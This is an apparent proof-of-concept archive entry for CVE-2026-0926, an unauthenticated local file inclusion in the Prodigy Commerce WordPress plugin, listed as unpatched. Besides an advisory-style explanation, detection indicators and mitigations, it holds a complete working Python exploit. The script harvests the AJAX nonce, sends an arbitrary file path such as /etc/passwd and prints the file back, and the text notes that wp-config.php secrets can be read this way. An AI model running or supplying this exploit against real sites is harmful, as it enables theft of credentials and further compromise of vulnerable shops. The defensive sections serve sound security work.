PoC Archive PoC Archive
High CVE-2026-0926 unpatched

Prodigy Commerce WordPress Plugin — Unauthenticated Local File Inclusion (CVE-2026-0926)

by Diamorphine · 2026-07-05

Severity
High
CVE
CVE-2026-0926
Category
web
Affected product
Prodigy Commerce (WordPress plugin)
Affected versions
<= 3.2.9 (repo title also references <= 3.3.0)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherDiamorphine
CVE / AdvisoryCVE-2026-0926
Categoryweb
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagswordpress, plugin, prodigy-commerce, lfi, local-file-inclusion, unauthenticated, ajax
RelatedN/A

Affected Target

FieldValue
Software / SystemProdigy Commerce (WordPress plugin)
Versions Affected<= 3.2.9 (repo title also references <= 3.3.0)
Language / PlatformPHP / WordPress, PoC written in Python 3 (httpx)
Authentication RequiredNo
Network Access RequiredYes

Summary

Prodigy Commerce exposes an AJAX action, prodigy-render-my-account-widget, that renders a “My Account” widget template chosen via the parameters[template_name] POST parameter. The plugin fails to sanitize or restrict this parameter to an allow-list of legitimate templates, so it is passed into a PHP file-include operation largely as-is. An unauthenticated attacker can supply an arbitrary filesystem path (e.g. /etc/passwd) as the template name and have the plugin include and render that file’s contents back in the AJAX JSON response. The PoC harvests the required AJAX nonce from the page, then submits the malicious admin-ajax.php request and prints the returned file contents.


Vulnerability Details

Root Cause

The parameters[template_name] value from an unauthenticated AJAX request is used directly to build a file path that is included/rendered by the widget renderer, without validating it against a fixed set of known template names or stripping path traversal sequences.

Attack Vector

  1. GET the target site’s homepage and extract the nonce value embedded in an inline settings JS object.
  2. POST to /wp-admin/admin-ajax.php with action=prodigy-render-my-account-widget, the harvested nonce, and parameters[template_name] set to the target file path (e.g. /etc/passwd), with parameters[default_path]=/.
  3. The plugin includes the referenced file and returns its rendered output inside the JSON data.html field.
  4. Read arbitrary local files, including configuration files (e.g. wp-config.php) that may leak database credentials or secret keys.

Impact

Unauthenticated disclosure of arbitrary files readable by the web server user, potentially exposing wp-config.php secrets and enabling further compromise (e.g. remote code execution if combined with log/session poisoning).


Environment / Lab Setup

Target:   WordPress site running Prodigy Commerce <= 3.2.9
Attacker: Python 3, `pip install httpx`

Proof of Concept

PoC Script

See CVE-2026-0926.py in this folder.

1
python CVE-2026-0926.py -u http://target.local -f /etc/passwd

The script fetches the target’s AJAX nonce, sends the crafted prodigy-render-my-account-widget request with the requested file path in parameters[template_name], and prints the included file’s contents from the JSON response.


Detection & Indicators of Compromise

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=prodigy-render-my-account-widget&nonce=<VALUE>&parameters[template_name]=/etc/passwd&parameters[default_path]=/

Signs of compromise:

  • Access log entries showing repeated POSTs to admin-ajax.php with action=prodigy-render-my-account-widget and unusual template_name values (absolute paths, ../ sequences).
  • AJAX responses containing content that resembles system or config files rather than an account widget.

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for advisory; update Prodigy Commerce once a fixed version is released
Interim mitigationDeactivate the plugin until patched; restrict/allow-list template_name values at a WAF or reverse-proxy layer; block unauthenticated requests to admin-ajax.php referencing this action

References


Notes

Mirrored from https://github.com/diamorphine666/CVE-2026-0926-exploit on 2026-07-05.

CVE-2026-0926.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# Exploit Title: Prodigy Commerce <= 3.3.0 - Local File Inclusion 
# Date: 23-05-2026
# Exploit Author: Diamorphine
# Vendor Homepage: https://prodigycommerce.com/
# Software Link: https://wordpress.org/plugins/prodigy-commerce/
# Version: 3.2.9
# Tested on: Debian
# CVE : CVE-2026-0926
# Description: Prodigy Commerce WordPress plugin <= 3.2.9 contains a local file inclusion caused by improper sanitization of 'parameters[template_name]' parameter, letting unauthenticated attackers include and execute arbitrary files remotely.


import httpx
import asyncio
import re
from urllib.parse import urljoin
import argparse


def get_nonce(base_url):
    with httpx.Client(verify=False) as client:
        r = client.get(url=base_url)
        match = re.search(r'var settings\s*=\s*{[^}]*"nonce":"([^"]+)"', r.text)
        if match:
            nonce = match.group(1)
            return nonce
        else:
            print("Nonce not found")

async def main(base_url,file):
    async with httpx.AsyncClient(verify=False) as client:
        nonce = get_nonce(base_url)
        data = {
            "action": "prodigy-render-my-account-widget",
            "nonce": nonce,
            "parameters[template_name]": file,
            "parameters[default_path]": "/"
        }

        url = urljoin(base_url, '/wp-admin/admin-ajax.php')
        r = await client.post(url=url, data=data)
        raw = r.json()
        out = raw['data']
        print(out['html'])

parser = argparse.ArgumentParser(description="Prodigy Commerce <= 3.3.0 - Local File Inclusion exploit")
parser.add_argument("-f", "--file", default='/etc/passwd', help="File to read, default: /etc/passwd")
parser.add_argument("-u", "--url", required=True, help="Target url, e.g. http://test.local")
args = parser.parse_args()

asyncio.run(main(args.url, args.file))